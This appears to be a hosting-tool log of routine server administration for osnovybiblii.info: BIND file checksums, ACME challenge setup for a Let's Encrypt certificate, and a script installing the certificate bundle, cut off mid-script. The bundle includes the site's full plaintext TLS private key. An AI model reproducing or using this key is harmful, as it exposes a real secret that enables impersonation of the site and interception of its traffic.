MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-28 13:32:36: Establishing a connection
2026-02-28 13:32:36: Establishing a connection
2026-02-28 13:32:36: 

PUT: /tmp/pkp201480

#!/bin/bash
if [ -d "/var/www/osnovybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-28 13:32:37: 

chmod 755 /tmp/pkp201480; /tmp/pkp201480; rm /tmp/pkp201480

2026-02-28 13:32:37: 


1


2026-02-28 13:32:38: Establishing a connection
2026-02-28 13:32:38: 

PUT: /tmp/pkp585774

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cat > oVjgbZF3Te1nHRVNoKzk2qhRGJUB99pWLKIi4ijajB4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oVjgbZF3Te1nHRVNoKzk2qhRGJUB99pWLKIi4ijajB4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oVjgbZF3Te1nHRVNoKzk2qhRGJUB99pWLKIi4ijajB4
cat > 32qVXxNHRuCvJjInJAPecyZXrZu2buUtXxeHI8axfXQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
32qVXxNHRuCvJjInJAPecyZXrZu2buUtXxeHI8axfXQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 32qVXxNHRuCvJjInJAPecyZXrZu2buUtXxeHI8axfXQ


2026-02-28 13:32:38: 

chmod 755 /tmp/pkp585774; /tmp/pkp585774; rm /tmp/pkp585774

2026-02-28 13:32:38: 




2026-02-28 13:32:46: Establishing a connection
2026-02-28 13:32:47: 

PUT: /tmp/pkp307096

#!/bin/bash
mkdir -p "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnovybiblii_www/.well-known/acme-challenge/"
rm oVjgbZF3Te1nHRVNoKzk2qhRGJUB99pWLKIi4ijajB4
rm 32qVXxNHRuCvJjInJAPecyZXrZu2buUtXxeHI8axfXQ


2026-02-28 13:32:47: 

chmod 755 /tmp/pkp307096; /tmp/pkp307096; rm /tmp/pkp307096

2026-02-28 13:32:47: 




2026-02-28 13:32:47: Establishing a connection
2026-02-28 13:32:47: 

PUT: /tmp/pkp113409

#!/bin/bash
temp_file=$(mktemp)
TARGET=28fc54e1b5f7cd1c122e74906c55a106.crt

cat > $temp_file <<'endmsg'
a6:7e:05:4e:1a:6d:4b:a7:3e:4c:da:d7:59:c4:73:cf

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBjiQXM71am4Ip3vHzJ9TILGqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MTIzNDE2WhcNMjYwNTI5MTIzNDE1WjAcMRowGAYDVQQD
ExFvc25vdnliaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJO9jpDJBfe5f4MVijGtdIsYHBGAxupbUvf+Xs6wq+q6dVc1PKj0V10TCNmv
L7dxjQqpmDD/fWYIY5vBqbBk6gYxoqmmkG4uTItfa8Nb8zFM6ycy3ka9KchqfeVA
/uziEGWHoo/4uNIxjpspKd7nx81ze2WY+sCdS3KKOKrCh9kCnlsdL/DB0WLqOpCt
cMTWDsNqjfmy2HHhu4UfxhKfKPazQEYwRcJEJnvl91HHoDHKGh9WJZScaeV3FGpB
CLbMVnFr2Ok/UysfEFbOl6jLnxqbR6nUDFMOrJWBtommn/SQkfNWEeSHCbp+xaRs
NpLAQsbrr6eoIEWFZQqgvzEJLscCAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRi
wcxzs6BbNz1PonKqj2kIJlyx6TAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZykc52UAAAEAwBGMEQCIHyXt5zT/rKtGasZQSgRr30WLlMTL4WpTTQCn5Jf4iE7
AiBbRuYdDxJSjwfN/D1XJ/1nnPIKdhahLPosxtQbvvpUIAB+AOMjjfKNoojgquCs
8PqQyYXwtr/10qUnsAH8HERYxLboAAABnKRznjwACAAABQA0CZSVBAMARzBFAiBk
yeafhJF9T7oe4qvtzNQXlILeI8X7yJk2dXNmESsYlwIhANdMWCpFCaFA4ykbN2d0
hvxPw0iqkbCOnIwqziFe9n5tMA0GCSqGSIb3DQEBCwUAA4IBAQCRW2FWJ6wVRc7e
5gxvRJRzTenTczrQgWbAAbFnH4lU9ecsJGZ5n/GZSA0+PalcigZfP9GtFg6vEi4c
6HLwBq9vhQImltXaL8FSEXUsZlpp4kMSCmacUcsGYQVzzKwm/tUE82lE3TgkK1WD
GRQEr6Y1d3bXRv0n9j8aC31bEu9WJLrhoYcuRxcPRrv0GrOM6p2te7tWiNMtBkqi
BTdplroYzqV8X7cwDHImGGSA9SLLj1ETbfyjIrxe3DHvq+QBI+YHDa4/14E7us+x
fhcMGZulLYQG1AkimdVeFKgPPfz0NfG6k+CJ49gccHoaVgXPWA/tkq/kdaqjuJ9/
cUydTzte
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCTvY6QyQX3uX+D
FYoxrXSLGBwRgMbqW1L3/l7OsKvqunVXNTyo9FddEwjZry+3cY0KqZgw/31mCGOb
wamwZOoGMaKpppBuLkyLX2vDW/MxTOsnMt5GvSnIan3lQP7s4hBlh6KP+LjSMY6b
KSne58fNc3tlmPrAnUtyijiqwofZAp5bHS/wwdFi6jqQrXDE1g7Dao35sthx4buF
H8YSnyj2s0BGMEXCRCZ75fdRx6AxyhofViWUnGnldxRqQQi2zFZxa9jpP1MrHxBW
zpeoy58am0ep1AxTDqyVgbaJpp/0kJHzVhHkhwm6fsWkbDaSwELG66+nqCBFhWUK
oL8xCS7HAgMBAAECggEABlHoDNqEllXJlh5wRHLClwangLotCC5y7Kflf1sAZ7Cl
P19IIoQdTp53VPSRCnxhh7C8kXAEeb5nIG0W6LRQbIZoCnDVIdl6LcYdsoQ28Yd0
Ub9z0bva0zd2/j0bCqAbCnTUZ+tAYMF887c9kssAeZH0l+KE64NvDE3MYcWjkQ1i
e9YLS99xdZY1XXYt+hClHmayBhKyvAdNk9YyQFbq9Nfg1w9TgUknxPQXtQsEI6hx
kngCGpEGgOdPWyHdy/aVuTYHP3Yjf4gPMOthiW5lT3btGds5gYiBcewyF5Fafa3f
0iL62xTFr10zTBVUC4TzbQC5rjWKzLXTB8vM2P+F0QKBgQDFT6+Dg2rxyZh2G6/X
bC8K8nFqjRkuNJP4LNXGToe1sQDt3e+fWE8YMiCMNH6CV1hDDlFpIbZvqu6NiniK
kwbWV98pWbN3e+apNfy20WzxWguGkYat6/FW6Ke+N5Lseh2dpqr3J5SJKJSXyOlQ
14s+uxZjv9r7Q5N8BX8ka9r9EQKBgQC/r0oj37wE/UsbGU6OC+/ppodpwenPnK2i
L1ruDDbtPpbRy+g0w0s0uLsV0HhDjN2R8w9eHTvOftqA5fjlVzE7/3TPkT75nruZ
8lWOxEqRRlx5qUeg5tzHAMGt1GM7CBcL24xJWThhDdbClTAQQIbK+ptLi9PPSTRd
ewid8GJOVwKBgQDE5I2qWNvBR4CCa4J/H4+aBvCyePalqwX1Yxg3+WlnH6hjtVJG
2iKjbHIaNs//VRXYZFNM671XlWTTjVhYP/tUrP8eDksOcm9sb1ktPbLO7SIPOO0C
ZS3Bogyxvlc472raRNTaKX8Jl5sgE/bvGwfyo1LmWy80CO0Fl56WQ6KVYQKBgQC1
ZqjuPDzOJ/sc4R0zVl6sKrm5vxaLMIYtl00hPJP6fyHx11ugGzWf5ja+1TQLEVNa
XMCtW1MO/4O/OmQKfjKMyht8l8MWLj7x2KFZY7ABvamkRSwRPImxFqkz3WwvIF/X
C+W+QF4XkyYrrU34A2jMzM+Mdf50C54v3VBxT11pLwKBgCpReN7DeLUkGjui6DYo
vsriLZkTQ/RcQA3LyPbi0YUbX3jLaDZT5FV+H0Nu83hodFPhJrPTbA/mfIwIPszO
bbIOtnjo/j6uKau8EYdCrca9NDlPFVvZwo+1XYxJU/g+QizB4//xYjR+asEqOqbb
3HUdXpkVlVO9NB+/nIlsQXKp
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-28 13:32:47: 

chmod 755 /tmp/pkp113409; /tmp/pkp113409; rm /tmp/pkp113409

2026-02-28 13:32:47: 


dir=/etc/ssl/certs


2026-02-28 13:32:47: 

PUT: /tmp/pkp395513

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
